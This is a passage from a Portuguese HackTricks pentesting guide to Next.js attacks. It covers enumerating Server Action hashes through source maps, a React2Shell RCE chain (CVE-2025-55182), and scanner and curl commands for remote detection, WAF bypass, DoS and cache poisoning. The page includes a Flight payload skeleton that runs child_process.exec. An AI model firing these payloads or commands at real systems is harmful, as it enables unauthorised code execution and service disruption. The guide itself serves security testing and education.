  • Divisão de código: Aproveite imports dinâmicos para dividir o código e reduzir o tempo de carregamento inicial.
  • Cache: Implemente estratégias de cache para respostas de API e recursos estáticos.
  • Carregamento preguiçoso: Carregue componentes ou recursos apenas quando forem necessários.

Exemplo:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions Enumeration (hash to function name via source maps)

O Next.js moderno usa “Server Actions” que são executadas no servidor, mas são invocadas pelo cliente. Em produção, essas invocações são opacas: todos os POSTs chegam a um endpoint comum e são distinguidos por um hash específico da build enviado no cabeçalho Next-Action. Exemplo:

POST /
Next-Action: a9f8e2b4c7d1...

Quando productionBrowserSourceMaps está habilitado, chunks JS minificados contêm chamadas para createServerReference(...) que leak estrutura suficiente (além dos source maps associados) para recuperar um mapeamento entre o action hash e o nome original da função. Isso permite traduzir hashes observados em Next-Action em alvos concretos como deleteUserAccount() ou exportFinancialData().

Abordagem de extração (regex em JS minificado + source maps opcionais)

Procure nos chunks JS baixados por createServerReference e extraia o hash e o símbolo da função/fonte. Dois padrões úteis:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
  • Grupo 1: server action hash (40+ caracteres hexadecimais)
  • Grupo 2: símbolo ou caminho que pode ser resolvido para a função original via o source map quando presente

Se o script anuncia um source map (comentário final //# sourceMappingURL=<...>.map), busque-o e resolva o símbolo/caminho para o nome da função original.

Fluxo de trabalho prático

  • Descoberta passiva durante a navegação: capture requisições com cabeçalhos Next-Action e URLs de chunks JS.
  • Busque os bundles JS referenciados e os arquivos *.map acompanhantes (quando presentes).
  • Execute a regex acima para construir um dicionário hash↔name.
  • Use o dicionário para direcionar os testes:
  • Triagem guiada por nome (ex.: transferFunds, exportFinancialData).
  • Acompanhe cobertura entre builds por nome de função (hashes rotacionam entre builds).

Exercitando ações ocultas (requisição baseada em template)

Pegue um POST válido observado no proxy como template e troque o valor Next-Action para direcionar outra action descoberta:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Reproduza no Repeater e teste autorização, validação de entrada e lógica de negócio de ações que, de outra forma, seriam inacessíveis.

Burp automation

  • NextjsServerActionAnalyzer (Burp extension) automatiza o acima no Burp:
  • Analisa o histórico do proxy em busca de JS chunks, extrai entradas createServerReference(...) e faz parse dos source maps quando disponíveis.
  • Mantém um dicionário pesquisável hash↔nome da função e remove duplicatas entre builds pelo nome da função.
  • Pode localizar um POST template válido e abrir uma aba Repeater pronta para envio com o hash da action alvo substituído.
  • Repositório: https://github.com/Adversis/NextjsServerActionAnalyzer

Notes and limitations

  • Requer productionBrowserSourceMaps habilitado em produção para recuperar nomes a partir dos bundles/source maps.
  • A divulgação do nome da função por si só não é uma vulnerabilidade; use-a para orientar a descoberta e teste a autorização de cada action.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Deploys do Next.js App Router que expõem Server Actions em react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) contêm uma poluição de protótipo crítica no servidor durante a desserialização de chunks do Flight. Ao forjar referências $ dentro de um payload Flight, um atacante pode pivotar de protótipos poluídos para execução arbitrária de JavaScript e então para execução de comandos do OS dentro do processo Node.js.

NodeJS - proto & prototype Pollution

Attack chain in Flight chunks

  1. Prototype pollution primitive: Defina "then": "$1:__proto__:then" para que o resolvedor escreva uma função then em Object.prototype. Qualquer objeto simples processado posteriormente se torna thenable, permitindo que o atacante influencie o fluxo assíncrono internamente ao RSC.
  2. Rebinding to the global Function constructor: Aponte _response._formData.get para "$1:constructor:constructor". Durante a resolução, object.constructorObject, e Object.constructorFunction, então chamadas futuras a _formData.get() na verdade executam Function(...).
  3. Code execution via _prefix: Coloque código JavaScript em _response._prefix. Quando o _formData.get poluído for invocado, o framework avalia Function(_prefix)(...), portanto o JS injetado pode executar require('child_process').exec() ou qualquer outro primitivo do Node.

Payload skeleton

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

Mapeando a exposição de React Server Functions

React Server Functions (RSF) são quaisquer funções que incluam a diretiva 'use server';. Cada form action, mutation, ou fetch helper vinculada a uma dessas funções torna-se um endpoint RSC Flight que vai desserializar attacker-supplied payloads. Passos úteis de recon derivados das avaliações React2Shell:

  • Inventário estático: procure pela diretiva para entender quantos RSFs estão sendo automaticamente expostos pelo framework.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
  • Padrões do App Router: create-next-app habilita o App Router + app/ directory por padrão, o que transforma silenciosamente cada rota em um endpoint compatível com RSC. Assets do App Router como /_next/static/chunks/app/ ou responses que streamam Flight chunks sobre text/x-component são fortes fingerprints expostos na Internet.
  • Implantações RSC implicitamente vulneráveis: O próprio advisory do React observa que apps que entregam o runtime RSC podem ser exploráveis até mesmo sem RSFs explícitos, então trate qualquer build que use react-server-dom-* 19.0.0–19.2.0 como suspeita.
  • Outros frameworks que empacotam RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. reaproveitam o mesmo serializer e herdam a idêntica superfície de ataque remota até incorporarem builds do React corrigidas.

Version coverage (React2Shell)

  • react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: vulneráveis em 19.0.0, 19.1.0–19.1.1 e 19.2.0; corrigidas em 19.0.1, 19.1.2 e 19.2.1, respectivamente.
  • Next.js stable: App Router releases 15.0.0–16.0.6 incorporam a pilha RSC vulnerável. Patch trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 incluem deps corrigidas, então qualquer build abaixo dessas versões é de alto valor.
  • Next.js canary: 14.3.0-canary.77+ também distribui o runtime com bug e atualmente carece de canary drops corrigidos, tornando essas fingerprints fortes candidatas à exploração.

Remote detection oracle

Assetnote’s react2shell-scanner envia uma requisição Flight multipart forjada para caminhos candidatos e observa o comportamento no servidor:

  • Default mode executa um payload RCE determinístico (operação matemática refletida via X-Action-Redirect) provando execução de código.
  • --safe-check mode distorce propositalmente a mensagem Flight para que servidores corrigidos retornem 200/400, enquanto alvos vulneráveis emitem respostas HTTP/500 contendo a substring E{"digest" no corpo. Esse par (500 + digest) é atualmente o oráculo remoto mais confiável publicado por defensores.
  • Switches integrados --waf-bypass, --vercel-waf-bypass, e --windows ajustam o layout do payload, prefixam junk, ou trocam comandos do OS para que você possa sondar ativos reais na Internet.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Outros problemas recentes do App Router (final de 2025)

  1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – payloads Flight malformados podem fazer com que o resolver RSC entre em loop infinito (pre-auth DoS) ou forçar a serialização do código compilado de Server Function para outras ações. Builds do App Router ≥13.3 são afetadas até serem corrigidas; 15.0.x–16.0.x precisam das linhas de patch específicas do advisory upstream. Reuse o caminho normal de Server Action mas faça stream de um corpo text/x-component com referências abusivas a $. Atrás de um CDN a conexão travada fica aberta por timeouts de cache, tornando o DoS barato.
  • Triage tip: Alvos não corrigidos retornam 500 com E{"digest" após payloads Flight malformados; builds corrigidos retornam 400/200. Teste qualquer endpoint que já esteja transmitindo Flight chunks (procure por Next-Action headers ou respostas text/x-component) e reproduza com um payload modificado.
  1. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – a falta de Vary permitiu que uma resposta com Accept: text/x-component fosse armazenada em cache e servida a navegadores que esperavam HTML. Uma única requisição de priming pode substituir a página por payloads RSC brutos. Fluxo PoC:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

If the second response returns JSON Flight data instead of HTML, the route is poisonable. Purge cache after testing.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks